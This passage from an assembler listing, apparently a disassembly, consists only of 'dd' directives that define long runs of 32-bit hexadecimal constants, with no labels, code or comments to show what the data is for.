0ACD92FF1h, 9AED3EBh, 4D8FE1EDh, 423DC65Fh, 93D127FAh dd 0AE67B94Fh, 0D0E344D2h, 0B306DBFh, 4D278DEAh, 0FDDF71CFh dd 57E18951h, 15B37D1Fh, 0D0924982h, 37777E3Ch, 0D5769A8Ah dd 52BC56B0h, 2B48F700h, 0DC2229F7h, 948B7CA2h, 1E80DCC4h dd 89A251C3h, 7E0D5030h, 55769DC4h, 77BA9A7Bh, 0DC1BF376h dd 0B79801h, 8A0AF8BFh, 2E52295Ch, 0F3B3905Dh, 110CBFFCh dd 0BD6D4CF3h, 43B72591h, 0F5BCD833h, 0FD3C8BEAh, 1F60680Dh dd 316B5A20h, 1E56B4AAh, 304629DCh, 2952497Dh, 0FD2A16FEh dd 5B531DF9h, 9BABAF2Bh, 0B8502F80h, 18B9802Dh, 0BEBD14B9h dd 3AB63BC6h, 3E09B071h, 160523EEh, 0DF22C133h, 61B04E52h dd 6358FB2Eh, 5597139Fh, 0ECC0F164h, 0FBDF18B0h, 2650ACCDh dd 266958D0h, 0CDA86BFBh, 6FCED427h, 0C74F29D9h, 6CBA71C8h dd 0E848003Eh, 0B343EDEDh, 3E93B12Ah, 1232CF33h, 91F8E1E6h dd 166951F0h, 0B5F0095Bh, 701C4077h, 34C71165h, 93172127h dd 46C83528h, 578C2055h, 0BBA1A065h, 8DA7789Ah, 2F8A247h dd 98B2CE2Bh, 7501A7A9h, 58D6BDFEh, 0A38C8B1Ch, 16008369h dd 165B78E0h, 0E505BD87h, 9DAA6780h, 3A7DA79Fh, 45D168DBh dd 6DD1E77h, 266441Eh, 0A86BC32Eh, 4D01E8FBh, 0E36ACAFFh dd 394BA32Fh, 8DC64EB5h, 696CCB05h, 0FFB01FEBh, 25EAEFBCh dd 5CE5FA7Eh, 583A1FBFh, 9A6783BDh, 2193FEC7h, 0E298BBFAh dd 0FD8C4578h, 0CF9ADFEh, 17C6F30Dh, 3344402Ah, 0E2E4CBC9h dd 11D62FFCh, 222593EAh, 0CC266B82h, 0FBE938ACh, 20382EECh dd 0FE4FE3AAh, 41B2FA8Dh, 3821028Eh, 1E1EA85Fh, 0C6FA6993h dd 0E9C04C2Dh, 0FA637CB7h, 0CB48013h, 71833541h, 88948D61h dd 4DDB2EADh, 4C3726B6h, 49E3371Fh, 5FE40AC9h, 0AA00AC84h dd 3101A0Bh, 66D6E963h, 802E7CE6h, 38E7A81Fh, 0D0C0F7A3h dd 2474C8D1h, 0C972AD89h, 1A1965C0h, 227DB96Fh, 0E1902F52h dd 93E4964Bh, 4BFD6EB5h, 4C9E28FFh, 0A4C1C4E0h, 0CA330D8h dd 9F5F6B05h, 3057F449h, 809B61CEh, 0DA5A051Bh, 4AAE903Ch dd 4F7EBF1h, 50DFE44Fh, 0AE9A9FF0h, 9FD55066h, 26B1E7BAh dd 0AFB2D6D1h, 27495828h, 0B47E8B1h, 0DEE5EC0Bh, 0D5C96C0h dd 6C43F104h, 27D5CC68h, 6002A2E4h, 48ED016Fh, 5F25CC7Ah dd 0D75D4B7Fh, 0E92AF0B9h, 6CF7DAC0h, 315C0AD0h, 5AD94A54h dd 91A04169h, 0BC76BC64h, 0C2C8E778h, 69529941h, 21F191B0h dd 1C8212A8h, 0D40B5B7Eh, 6087EBD4h, 7341FF8Bh, 759C6416h dd 9AA02895h, 0E0C164C3h, 84AC06D1h, 0A7E20440h, 8AF11EADh dd 254A01FDh, 0BEBEB823h, 4844E6A3h, 0D22E7BEAh, 2F56FAE3h dd 0ACD0A193h, 0BA87B092h, 278BE154h, 11D0DB63h, 0AF585C8h dd 51A0A716h, 8361F0CBh, 6A07520Bh, 0C3D52032h, 0E572A1EEh dd 0F4D32B0Dh, 0E36A3825h, 9A7C575h, 48D50E40h, 8CF39598h dd 56664E21h, 62BB2DABh, 1940CEA7h, 33197163h, 7B3E9A0Eh dd 8DBABF1Ch, 0F6E036CDh, 7DC2649Fh, 0C970BDAFh, 51F1DFE2h dd 0FD713366h, 3E70657h, 611F0070h, 0D211C286h, 0DEFB7B66h dd 56196609h, 4AED1352h, 3DBCEE44h, 0D6C08B04h, 76A6DBB1h dd 42BAA24Ch, 0E7156052h, 0EDB464DFh, 0DD2E9499h, 6DC105E3h dd 0C3BE5E08h, 85CA0B97h, 703888E0h, 1C4BB847h, 59FA32F2h dd 8CD3E545h, 98A9163h, 1F28C405h, 1EE0DCB8h, 5FCE36A9h dd 88ACDA76h, 8AC00130h, 0D7061D5Dh, 47CD9DF8h, 0F3C555CFh dd 6DEBC0A2h, 0C9A2858Bh, 54EC645Ah, 5565342Fh, 8DBE8BC8h dd 765E92F0h, 252A68B9h, 0A46CD25Ch, 69570EEAh, 0C7630E55h dd 0D3FF76D2h, 0D7B9E44h, 2AD87955h, 0CCB0FBEDh, 0EEB43C8Dh dd 0B58F85BBh, 0FC8077DDh, 57ED91F7h, 0ED7492EBh, 0F8DC93Ah dd 8488ADF2h, 4CD6D89Ah, 0C1E55CDBh, 10DA7159h, 74F3C92Dh dd 0B1909330h, 0E4A9B35Fh, 1E3A73D1h, 9DB32A21h, 5A8A5A0h dd 0D67AE43h, 0C1EF6421h, 78EF041Fh, 1E8F5A98h, 0D5169325h dd 43BA84DDh, 0E2A63AD3h, 8269DFDCh, 49D81332h, 3F38F37Fh dd 2F50646Ch, 866B65D2h, 6A24452Fh, 0EAD57C86h, 9EB14E45h dd 608FF6D6h, 1E3B035Eh, 0E939E031h, 5874C81Bh, 2130C8DBh dd 20B1C56Fh, 0D5886F03h, 94AF8B5Dh, 66028CF0h, 0D5C0F956h dd 0B65B0F98h, 0CDDC8EF1h, 832DB062h, 0D263B380h, 35351F9h dd 28838605h, 1E078974h, 0A248FE30h, 0F17AA80h, 8C2753E5h dd 0D5BC7293h, 157B38C6h, 0BA418CDFh, 6C07CBBEh, 59118313h dd 56744A05h, 979302CEh, 0B7FA20BDh, 0C5DFF67Fh, 0BC3D4F9Ch dd 6C31D8BAh, 42BA910Ah, 3BA3EDAh, 369964D6h, 984268FCh dd 0F3307B01h, 0A2D983A2h dd 20EB9439h, 0D57A339Fh, 0D7D25EC3h, 4685E8F3h, 986F5657h dd 80F0C5E2h, 0ED01E0C7h, 3F09D1BBh, 58302F2Dh, 87B0C81Bh dd 59B3FD24h, 9BDF5B84h, 92D78D4Fh, 9D90796Bh, 5668CC86h dd 0A1FD3C26h, 3040E17h, 295080ADh, 0BA860C1h, 6AB63D64h dd 7395FFB8h, 1F1A21A6h, 850CD8E0h, 0FA7F544Ch, 0D3B9C830h dd 1FC3FE2Bh, 48AA7EAFh, 1875B71Ah, 21935131h, 2E207179h dd 0CAA9E4CCh, 9A0379C5h, 863E02EFh, 99822E8Ah, 0E1B0DFC8h dd 0C3602247h, 0F3E38751h, 0E7CAC2DAh, 73BD66Eh, 0AF199CA2h dd 0AFF004E6h, 283A1D29h, 0A27A9339h, 74401E32h, 0FD7A485Eh dd 2C97A7D4h, 6E0FCB9Bh, 0EB9CE21Eh, 0E3CD8915h, 0DD013A9Eh dd 774B3D52h, 0B1ECDC5Eh, 9C587C85h, 9941CA94h, 0AC223A6Ah dd 15184134h, 0FAFC95FBh, 131EE35h, 0C6104C84h, 7146FEFAh dd 20DCE0A6h, 3CF1A304h, 0CFE116E0h, 0C622DBE7h, 7F7E868Ah dd 1F4CC485h, 0E3EEA4AAh, 6883A207h, 0F3D20307h, 62AD33EFh dd 52DDA470h, 6A5305E4h, 0DD928F6Fh, 0A5282F90h, 0A9627BF1h dd 4EF73E49h, 0D3B90829h, 34B9E31Ah, 7C7D0B9Ch, 42859EE8h dd 0D5D41FB1h, 78C77A9Ch, 2F46B84Ch, 0D18E4B3Eh, 0B0DF1BA6h dd 0AC3057F1h, 11430A1h, 0AFBECEB9h, 1CF11AD7h, 0AC658028h dd 419A3B9Ah, 1E28410Ah, 0F9317131h, 19C69078h, 0E0E9BEFFh dd 0DECCAF58h, 29341211h, 0FB15D317h, 0E3875BFAh, 4439A7F6h dd 8710D162h, 85EB858Fh, 0A9D59C28h, 78C7F052h, 0CD014B6Fh dd 0F2DD0E2Eh, 3BE6B58Dh, 1A59B3DAh, 136265Bh, 17257965h dd 0CF5EE385h, 57524023h, 5AC3AB61h, 65D6E8EFh, 49DD5D2Ah dd 0B85D0629h, 6E3DC572h, 94837B53h, 1B62F4FDh, 2DFC705h dd 6CA6DC00h, 0C2A2318Dh, 3FE9E61Eh, 3B53A32h, 0D6B25866h dd 0A274D7BAh, 1215FEFDh, 59B8C068h, 0DF4B4C5Dh, 69EB78F3h dd 0E99E7C6h, 0D11820BCh, 0AA4612C5h, 473F5BCDh, 7682C56Fh dd 15CD99B8h, 0E82E81E2h, 0E0AC7FEAh, 0E4E5E2B5h, 0E0A19ADFh dd 16B69619h, 8805D94Ch, 2CA70271h, 4AF90F9Eh, 4586A471h dd 0BFB44A8Eh, 2D539BB3h, 0CEF9B18Ah, 0D0CD2C48h, 0CB51E343h dd 551CB4F7h, 0F934F194h, 46BDCC67h, 4A025D29h, 9EE97434h dd 0E09303BDh, 0FB2CBECCh, 0EBEB9836h, 65C205BDh, 85491394h dd 0C61E078Dh, 9CE937DFh, 1B91AC24h, 9136A6B5h, 78CD0EB6h dd 95AD95F3h, 3ABF9369h, 7CE198CCh, 7A319A04h, 0B1EAD6CCh dd 611C4B84h, 217D9A23h, 0B8E057E9h, 84679E7Bh, 4F2BAC1h dd 98F4E2F4h, 0AF9CE127h, 919826D2h, 54784C3Dh, 0A19AF333h dd 86E001F5h, 0B6664C76h, 8FB7F49Dh, 89DE54F6h, 3DEBA8ECh dd 0CBC192D0h, 7ED99258h, 4749CCFFh, 6809942Fh, 6EB67D40h dd 8B7286C7h, 0DEB28148h, 3A1CD30Bh, 0A2B19CAEh, 295C1C36h dd 0C60FFE5h, 0C7A55AB7h, 0FB0C074h, 2965DFFFh, 24C6DA96h dd 28E0DAF4h, 52C5C1EFh, 0C3DACE31h, 7C87B858h, 0A2D7B096h dd 1CE057D5h, 6D3BEE33h, 5F52D7ECh, 0F9C6E6ECh, 0DC5B3D1Dh dd 0E51F7347h, 0F9592CD9h, 8441E912h, 3DAFE48Dh, 0EBEBD3F5h dd 731DC146h, 79B44F1Dh, 0AF5989A3h, 19331B37h, 9D6E964Ah dd 508106E5h, 0A627F036h, 72EBEE0Bh, 45A75508h, 2614574Ah dd 84C5EEh, 774CC7D3h, 8C6AB7Fh, 59822647h, 5BC14846h dd 7BBA404Eh, 0CCD466Ch, 0A98BC585h, 8B1B81DEh, 41EB688Bh dd 0BD0899BCh, 282CE3D7h, 51E76AF7h, 6AF8182Fh, 7D14B2B4h dd 2453149Bh, 360536DAh, 140ECB95h, 0D9AF3071h, 40C3792Eh dd 662A1E20h, 7BA7DE2h, 92FDF411h, 7BE398F8h, 9541E9CAh dd 99E7323Ah, 0FDD1C453h, 2C6B35C0h, 3A607EFFh, 27E1FE5Fh dd 62682ACCh, 6346349Eh, 852F1CF3h, 0DE65724Fh, 2DE3ED4Fh dd 0C747CCE8h, 4577BEAFh, 0BD782DC0h, 5CF5F617h, 8FCD0C6Eh dd 94EEAB96h, 0E38D7595h, 8BC2419Ah, 0D6DCF315h, 8F71D402h dd 1188938Eh, 400972D6h, 10501377h, 0F8A6D0EFh, 0B13569D6h dd 3C3982A3h, 0FBA22782h, 6D6EA3Fh, 101796E4h, 0B32C34BFh dd 7405472h, 0E062ED30h, 0DB892F57h, 0A4FD7B14h, 9E26CB5Ah dd 0AB714B2Bh, 73E53517h, 91F52D66h, 0F3C9C31Eh, 38E1102Fh dd 633B0864h, 0B9A1BC02h, 0C840EF6Bh, 4FC464AEh, 0D29C787Eh dd 75570C07h, 3C682861h, 68A09BF6h, 6D7CC012h, 0C872A784h dd 0EC69A918h, 43216D6Eh, 49594F9Fh, 0CD84E2A7h, 1EE88EEBh dd 0D15C2897h, 40B94A23h, 716EC769h, 2DAAAAC8h, 3F1FBD04h dd 6D22713Eh, 5EC05A7Dh, 5A73F88Fh, 0CA0F4798h, 416BD0B7h dd 0E8977EC8h, 673A10D1h, 0CA5E81DDh, 84A7A9B2h, 6A694273h dd 787B532Ch, 0C874D913h, 6E5A8593h, 0F8AFC0D9h, 6F49A56Ah dd 73D41211h, 0D060B517h, 78B5C4D9h, 113E2927h, 4406067Eh dd 4E46978Ah, 96D0B16Ah, 0D147E90h, 9DA6BC99h, 0CD23C3AFh dd 0D6510553h, 4C52D52Fh, 7B9C5641h, 429C9B1Dh, 32194A9h dd 949612FAh, 0DAD20C40h, 26801DA7h, 78A838A1h, 862F06CCh dd 0B047877Bh, 4BC194E4h, 0CDBCB9EDh, 0E13C05A5h, 65C80913h dd 0A21CB90Ch, 7B79D1DFh, 0BCA164F6h, 8F500F83h, 481081B4h dd 0BDE9CDC6h, 0F88DDA9Dh, 0F3BAC952h, 0A57E571Dh, 3B498D16h dd 0EE99224Bh, 3FE654B6h, 4A8F3E77h, 0C999FF60h, 2AC637E0h dd 0C5C26214h, 0A62517FBh, 0BB4F8383h, 2742E41Ah, 0F6101D6Bh dd 99B8C2D3h, 0FDCB4A04h, 15683DDEh, 8125598Ch, 96026A5h dd 4D73CC3Fh, 383B63FEh, 7A41A33Fh, 647BA1B1h, 0F285D58Fh dd 0CE909922h, 90C92D75h, 0A579361h, 5B29462Eh, 0A6AC2Ch dd 23B99CCAh, 254F584Dh, 9E6F36A7h, 32A11776h, 0AB0751B0h dd 0AD2F305Bh, 81782321h, 5EDBFA37h, 0D3CDB658h, 80C31DAAh dd 6EE1D78Dh, 578F45B4h, 0DA0C6C80h, 23AAC650h, 1C6DC925h dd 0D0F7B76Eh, 0F01253D3h, 13FF7B0Bh, 1B773FB6h, 0F13CBA5Ah dd 4AD9ACF2h, 0CFDBABACh, 0EB4C5C75h, 6AB4AF7Ch, 66CE30EBh dd 40C7BD10h, 16263A13h, 901C31DBh, 1BCDDD4Bh, 1FD63D5h dd 0F1B6E073h, 32739F5Bh, 26908EEFh, 0E9A9B07Ch, 0C0E61462h dd 0C95FF35h, 0CDED4BDAh, 6A38502h, 0D81D0DE4h, 6CF60C95h dd 0E18CDFA2h, 0F874652Fh, 0B9600435h, 1BA0BCECh, 0D103BF06h dd 0D865B3CFh, 3AE887B2h, 805CF6C6h, 7005682Fh, 5DC9B358h dd 426914C5h, 0A1F6C4FAh, 48F66023h, 0F41636D9h, 0D00CA92Ah dd 0CB45478Ah, 0B33F2F3Fh, 8036A687h, 0B713CDC5h, 6C75F380h dd 0CE9E991Ch, 0CA800916h, 8EFC48A2h, 0E5EA739h, 0D1877A0Bh dd 0D45B09CFh, 83527F82h, 517FEB95h, 0DABE6BDEh, 55B87573h dd 41BC2E0Fh, 31C1689Ah, 0E29C11D8h, 607F92DEh, 747A84BCh dd 0EFB1E601h, 857C295Bh, 0FD66EBCFh, 760E1CE7h, 828859F3h dd 0D7C09AA1h, 0F78AD0F7h, 0FEFC6F27h, 0C8DC3E31h, 0A5DA89C0h dd 542868F1h, 0B7211CFFh, 0A4B5592Ch, 0B1C2C933h, 0ECAC658h dd 4F762982h, 0CB19CA8Eh, 7E10822Ch, 46823137h, 755D1CFFh dd 9F7E26BBh, 2B551BF8h, 2E1AFA0Dh, 8EA3FD57h, 0F5ABFF72h dd 0C1B4DACFh, 0A9A06170h, 5EBEDA0Eh, 74222798h, 67E8BC2Ah dd 53A70217h, 8AE3E5C8h, 37739D8Ch, 1D48C727h, 0CCBFC540h dd 62A8914Bh, 0E7E6954Fh, 0F6279DECh, 0BB362D35h, 717BBFB4h dd 235DAA3h, 46CABD87h, 6D8CF8DEh, 0BFF3A70Ah, 6BADDC27h dd 0A2FB4F77h, 0E59A511Eh, 5305C4B6h, 91F0697Ch, 53467B95h dd 85666394h, 0E9D2BEC7h dd 76A2459h, 0AB194A89h, 90C86726h, 90F9D7F1h, 0CE5D6206h dd 11E14A1h, 10F47426h, 95E2CA80h, 0A24BE628h, 4CC65235h dd 3630EB1h, 540BC928h, 0CBAB24A1h, 0EF54DE71h, 0F33C9DF4h dd 293DB3F4h, 38890087h, 0A5BD9618h, 0ADB03BC0h, 0A3E37E04h dd 35E15CC0h, 0E22177EDh, 6412BB9Ah, 97B06E44h, 3201D596h dd 132CB593h, 0ED81FAAAh, 0D055F1E9h, 0CCF6F256h, 9DF58F7Dh dd 14715774h, 5AD01560h, 4B2D12FDh, 605C739Eh, 89B80276h dd 0BCF72487h, 33B59C48h, 0C627493h, 4F238F0Ch, 0EC289368h dd 531434D3h, 0F56FE30h, 19505857h, 5EB624BCh, 9DD69519h dd 7FA66CAEh, 3EFDC12Eh, 827AA104h, 4C0D6C81h, 43461F83h dd 2846697Dh, 0D05B03CEh, 0C791187Bh, 8A119336h, 0E718E660h dd 0A947AF4Fh, 5AF305B3h, 7987F6F0h, 3E56A73Ch, 7B60A2ACh dd 41904C58h, 8F572E16h, 0CA790F60h, 3A6A0C6Ah, 68E77C65h dd 880A6521h, 498ACFAAh, 0F864367Bh, 0A1ACD73h, 49E9A317h dd 7F19CAFCh, 3F512219h, 26348316h, 193B03A6h, 42992D9h dd 3D350E4Eh, 0D1A2AA4Ch, 0D50F04DEh, 0E60732FAh, 43E4CF04h dd 6A094088h, 9688CFC4h, 0A516C66Dh, 7F29A0A8h, 68FE0652h dd 0E4891D49h, 64AA60B1h, 1FFE1B85h, 0F5457AE4h, 0BB95DD60h dd 0BE3491BFh, 82C1B58Ah, 175568C4h, 9B301A5Ch, 75B7524Eh dd 0DCCF76D3h, 0CCE3DB08h, 648662EEh, 39746649h, 2D474557h dd 9B91A2D4h, 0CA25932Eh, 553E4CD2h, 0C03DDBAh, 775BF1ACh dd 0C57E2891h, 0BF9F6C33h, 56D1EFC6h, 0CDBC82F5h, 0F1F518E0h dd 0B80D335Ah, 37F4C340h, 563D8C30h, 0AC488AD8h, 462EBC71h dd 0A65C6593h, 3CF9EAD9h, 76C92A47h, 61F7CC32h, 0ABB30EA1h dd 0DF3F251Fh, 3CE1FCAEh, 6A78185Bh, 18B27B38h, 4F150379h dd 3EB440D0h, 36E0C4A3h, 3943E6Bh, 4A9C0C81h, 0EA732098h dd 766E548h, 9AE9F395h, 36730D6Fh, 0C8C73747h, 0E403DD6Fh dd 6DB37069h, 13DCE8CDh, 0BB2EF349h, 59B15AF6h, 9A9D02ABh dd 1DCB34DDh, 0ECF1D1AAh, 0C457E130h, 7B78398Eh, 69320438h dd 34FE20EFh, 185C3145h, 3405C59h, 48EB3569h, 999F442Dh dd 60610344h, 427DA17Fh, 27424C78h, 866EFCBAh, 687C268Ah dd 9D972FD5h, 7E254B4Dh, 0E5EFC90h, 159103CEh, 90622157h dd 14EF3044h, 4BD244C1h, 455B6550h, 0F3F02698h, 50E0CE90h dd 0BDCAB232h, 0DF8E81F5h, 0B62EAC3Dh, 8EC0961Bh, 77D4BA10h dd 0A68CDFE9h, 0F5EFF142h, 0EF2ADEF8h, 0D8ED110Ah, 84A3345Eh dd 40A2A384h, 5F1C942Ch, 0DC0DA809h, 568B72D8h, 0C801B070h dd 76703642h, 240C4BD8h, 21B6143Bh, 94305D59h, 596690E0h dd 2663EBE6h, 0AB654493h, 32ADA45Bh, 46C5BF55h, 5177D1D6h dd 55C1EA6Dh, 45803E16h, 0BA6AEEF5h, 0ED8E8318h, 0D06BF25Fh dd 12EA730Ah, 0B78DC437h, 0FC69EA66h, 51B0D7E9h, 23E8FDC4h dd 29AAC2EFh, 0B0439DC8h, 684F48CEh, 7690BDACh, 0A6EF9931h dd 0EF297751h, 0F5593715h, 70BCCA18h, 5D680068h, 58278728h dd 0AD746D6Ch, 0D7EC5DDCh, 0D1550B96h, 3818BB86h, 3A27F6ECh dd 0FCD7018Ah, 3D82054h, 0C93D9A9h, 99BB48C5h, 0C37C3C1Ch dd 6E5EC256h, 0FCA15E12h, 0C76517EDh, 0B7E09DFCh, 4B5BF700h dd 0BA65FE66h, 0C82EE952h, 908809D4h, 154DB8E0h, 1BF7F37Bh dd 0BD89B4E8h, 0E5D41924h, 0BFC700E3h, 9F33CC1Bh, 0D6691957h dd 0F5BB9FD4h, 5FDA8BF0h, 13D462E5h, 0D305EEE0h, 86C4E904h dd 0FF32FC02h, 5F6CAD0h, 82FFC516h, 0ED7E9E94h, 101AD773h dd 23168F3Fh, 0ECB03DBAh, 48E9282h, 314FF2FEh, 3D6AC5FBh dd 6C9F64EAh, 195C3675h, 0B94A3E9Dh, 6A1DE706h, 6EC6BE72h dd 421FA879h, 0CC0A5929h, 0F26C194Eh, 78348E5Fh, 5A966AF2h dd 586AD97h, 799F1A55h, 60651BDAh, 7C896677h, 799A5139h dd 371D4F85h, 30F6E78Ah, 1C1DB904h, 0DF327D14h, 73E208ECh dd 199E3C6h, 0A9F6F190h, 22D2D830h, 442E77E4h, 3ECD8F37h dd 98793627h, 0C4A68668h, 0A53CB64Ch, 0B4F61CBCh, 0D6D2FEF1h dd 67DAAB21h, 0E54EDC75h, 634A372Fh, 0BB95D8F6h, 0C3688080h dd 0DC78315Ah, 0EED3FBFAh, 19239560h, 7A8CD439h, 64C98995h dd 0ADB32E45h, 0DE17141Dh, 9C877C0h, 4A1630C6h, 0BE649141h dd 0F70E5D8Eh, 0D1D5CB34h, 4AE3207Dh, 4FE41E43h, 0E79BCCD5h dd 0C4989346h, 743DD4A4h, 6C188595h, 3ADBB654h, 2B9CAF95h dd 0B16030F0h, 41D2ABEFh, 145B8418h, 152BA945h, 0A9979F9Fh dd 0FBF6B4A9h, 3C843609h, 0DB9ED7DBh, 9F83618Bh, 5C402893h dd 0C2E838A8h, 6CC53924h, 234D139Dh, 0CF7E0EDBh, 200C3D55h dd 887555F6h, 7B688470h, 7BBB20A5h, 762C6A0Fh, 0D5786009h dd 1988A56Fh, 58B556E7h, 9BEBA68Ch, 47DAA368h, 0F97FDA11h dd 1A21898Dh, 0C54D9D5h, 8F158CDEh, 2E787AA2h, 673B4C6Eh dd 0AD9E134Dh, 0D6D666E9h, 0D6AF3979h, 1EDF269Fh, 0BBEF076Fh dd 0B83ACDBDh, 0EDBB2F3h, 0F19EAD41h, 0DB4D2B14h, 0DD57E15Ch dd 128E3DC4h, 4E1712B6h, 2287B030h, 823E6D08h, 0E513CE50h dd 6FA6F3E9h, 0BE19FCCBh, 0EC9603A7h, 6BC3E838h, 0F005A3E8h dd 4E5812EBh, 1ECFCE0Ah, 0A2774C95h, 0A5F073B0h, 0EAE65D5Eh dd 0AB70CBC2h, 0E4F47BD9h, 7473C367h, 9884C9h, 0B733CE5h dd 9DF7DE95h, 0F65CDBB1h, 16771B0h, 0AB438A0Fh, 34820C73h dd 1A9BC894h, 29D47738h, 0CCB5B500h, 7E8993DDh, 3CA000A6h dd 0A4858A3h, 34CD2940h, 28734E11h, 909DD15h, 13A20EFFh dd 1C0A645Ch, 0A6044F77h, 0B5B20D9Ah, 947A2A86h, 3DA79431h dd 0B89C5A29h, 3CB31C04h, 401B8560h, 0BF918D1h, 0E1F20DF1h dd 21663093h, 1F81FC38h, 0F226B39h, 0C31F62F2h, 7300DD0Eh dd 670C3B37h, 57A1A5FEh, 0D2BBEB5Ch, 4B86931Ah, 38DAE06Dh dd 771D13BAh, 4FD8E627h, 3AE108F7h, 0E527C260h, 91460DD2h dd 2DF6EAF2h, 963B233Bh, 46FE0A80h, 6CC29DADh, 0B143CAD6h dd 19AF80E7h, 0CD6078A5h, 0DD5D0098h, 718BFDC8h, 6D51F6EAh dd 0DA193E34h, 32779150h, 0EAE40550h, 441A0367h, 8894893h dd 4210181Fh, 0D24E9867h, 0A4C2E6E9h, 3BA77D4Bh, 7A04E2FCh dd 0FEF88113h, 0FD292BFDh, 1662585Ah, 7FC08307h, 54C9359Dh dd 6886C67Fh, 98577509h, 379809A6h, 84FEEF88h, 730D3273h dd 5D5C73A3h, 5B00C4D8h, 3C8000ACh, 9B652977h, 0F3B97E62h dd 1A9F0EDBh, 97A5EEBEh, 0C5D6A8AFh, 22650B1Bh, 849F7FA8h dd 447A4171h, 43136D95h, 0B2DDEA63h, 0EE8FCD1Bh, 0B80E1864h dd 0C6831EF3h, 1715186Ah, 59DBFE33h, 0F9566C87h, 21803029h dd 816D2245h, 224D1FCEh, 9E68E27h, 84A2F065h, 9EBB2990h dd 9BC18430h, 94C672A8h, 4E0C042Dh, 0EE2FFCF5h, 0CB8AD541h dd 49805149h, 912803C7h, 0A15A8A31h, 5CB553F5h, 9AEF71B1h dd 0ADB9A275h, 0A432FF4Fh, 2B86CCD7h, 0DC30AB44h, 0BB7788ECh dd 458C51BBh, 1351E69Bh, 0DC5644E0h, 3EFCE23Eh, 0FD6AE7D3h dd 960AC01Eh, 0B45C5C4h, 82734B44h, 0DE34C411h, 0C8ACB4B1h dd 57AFB54h, 0F2095004h, 5C487239h, 253D5C51h, 6B055D7Ch dd 266E994Ah, 0D23018EBh, 0A3D793BFh, 8BEACC54h, 0E25F49D4h dd 7299C64Eh, 0BF7563C0h, 0C18CC6FBh, 72E18094h, 0DA651548h dd 5C90E753h, 0EB400706h, 3DEE5089h, 87A31B52h, 0DC83A883h dd 0BCCD1D0Bh, 2856A1C5h, 3D53B03Bh, 436D0CAEh, 5E07A3D9h dd 351F6F4Ah, 676A348h dd 2926BB52h, 0B764082h, 8A9AB73Bh, 0FE57A702h, 0E91DF402h dd 4A3AD004h, 0DB9C3314h, 6466E178h, 3FB05726h, 99548D27h dd 0F6947C8Ah, 0EA125EA6h, 5D0D5543h, 0A5DC79D3h, 35ED2265h dd 3A7FD0C1h, 55B93BD1h, 88574F6Fh, 7D5B7507h, 0C0AD9DE9h dd 1E0C1E19h, 5E1812EBh, 389B1FAEh, 38F79A5h, 89D5AFA0h dd 0AAAAC493h, 227A3D55h, 0D96330Eh, 554B4A95h, 5B251ECBh dd 331F211Bh, 28BACAB0h, 8AAB250Ch, 695C7945h, 0D9FDFF21h dd 80DF5527h, 0BCD517F9h, 9C08C82Ah, 0F01E0DECh, 162E1A1h dd 0A490EFD6h, 4725F112h, 0E5E4481Ah, 41714617h, 311FB08Ch dd 0FAA98DC0h, 69E4D67Dh, 100EC509h, 511D9B1Eh, 0F890F231h dd 0B5E6FA78h, 251B8B98h, 373FBC5h, 0C18959C1h, 5AB29492h dd 0B7743BC7h, 22C05089h, 0F20CAC32h, 7419B7C8h, 0A55626AEh dd 0F65D83D4h, 0DBF5179Fh, 0D7C306B0h, 1D6E872h, 0FFC0A838h dd 64B1031Fh, 8EC91BD7h, 0C196F88Ah, 4A4FD68Dh, 4775417Dh dd 8F8CB57Bh, 0BA45F764h, 0D17B9DFh, 2B8A2D8h, 0A5B667E5h dd 4583EFC5h, 78992D60h, 0C17AD3F0h, 81711162h, 9439ECCEh dd 54D8AEE1h, 8CC2C843h, 3B9AA50Ah, 41FB0DA1h, 0FA937F9Fh dd 0EFFA849Bh, 0E3307D5Ch, 0DD33CC94h, 0AFFE6706h, 2EBA11A4h dd 6C3028ACh, 2ACB6E8Eh, 2891552Ah, 0CB1E3718h, 52455086h dd 85255082h, 35C5835Bh, 0CE046599h, 0CD5F0BD7h, 0B17A1464h dd 211E10F7h, 0A84849FBh, 60200C3Dh, 0D30BC2EFh, 981475BFh dd 0F021F7F2h, 408AC709h, 5DD7F68Bh, 3CAA84DAh, 0B86BD49Ah dd 0F313F8CAh, 13ED9507h, 9E3E9B5Ch, 0BE4089C7h, 3C3C3AF2h dd 2F592ADEh, 0B4CA50ECh, 9ABB4C6h, 15DED6C9h, 818CDA39h dd 0FF819AC1h, 0BEED1BCFh, 0BAEF5D97h, 3355A313h, 8D0F54FAh dd 48E1F55Bh, 6DD2B4BFh, 4798D28Fh, 0FFFFEA75h, 302FA126h dd 8902B334h, 110A9807h, 291EAF1Ah, 36BF78FCh, 59DB8DC8h dd 37CC51E3h, 9FCC55E6h, 2FCBFB5Fh, 0AC506D39h, 442602A2h dd 1550FDEEh, 0B43088F7h, 0D2184778h, 0C99A632h, 0A8D8F4F6h dd 0A85E3F9Bh, 99D64649h, 78435572h, 79EB86FCh, 49895CDCh dd 491E060h, 773D1E3Ah, 24487511h, 9ABA9634h, 5FF3F0BCh dd 89642B0Dh, 85A664F2h, 0B4E44F35h, 0F264A2FFh, 4E7C06D9h dd 479DDB9Dh, 0FBC12F6Bh, 609A610Ah, 961DCFF5h, 2C2EDAE5h dd 60DAFDBh, 40DC489Eh, 895ADF1Bh, 0AB00DB6Ah, 0D51F6D0h dd 5B3EA333h, 0FFEDD07Dh, 0D171C89Ah, 32743D9Bh, 0D2D5DB4Eh dd 0EFE64F4Ah, 8870FCBAh, 0F94F0A45h, 748585Ah, 71ED3922h dd 0EF99E310h, 0FEBD16BDh, 30FFC54Ah, 811CB9Ch, 1A2FC77Ch dd 76A7CD6Ah, 0FB617F89h, 55088DD5h, 4A3AA867h, 7D1A91E5h dd 0B44245D6h, 631EF71Fh, 28E05C72h, 6E672468h, 45F8A10Dh dd 673D8A26h, 124C5A12h, 0F1E3952Ah, 64EBB629h, 6203091h dd 45DD7693h, 0C9867ED1h, 523E1A8Bh, 0F3B5D4FAh, 4AB9E2F9h dd 6174E9B9h, 63C3A091h, 0F4E71FDBh, 1E5ADF24h, 0FF0C23BFh dd 54CF5673h, 82F2501Eh, 2F4D1486h, 0D411B242h, 4C0AF82h dd 44A61996h, 118F9946h, 22960616h, 0E7401567h, 0A7A63705h dd 6D03E656h, 0A31FE30Ah, 0EFF56C6Eh, 4C056B2Dh, 6F6FEE66h dd 7942CFEBh, 813458CBh, 0F4B80608h, 0F86CE948h, 6E0067F4h dd 63AF0776h, 447280CEh, 7EE0499Fh, 4822DFAAh, 793CE2A5h dd 49379CBFh, 56C44608h, 6BBA45E1h, 53614615h, 15BB4CE3h dd 92DAF0BFh, 0A0390EE7h, 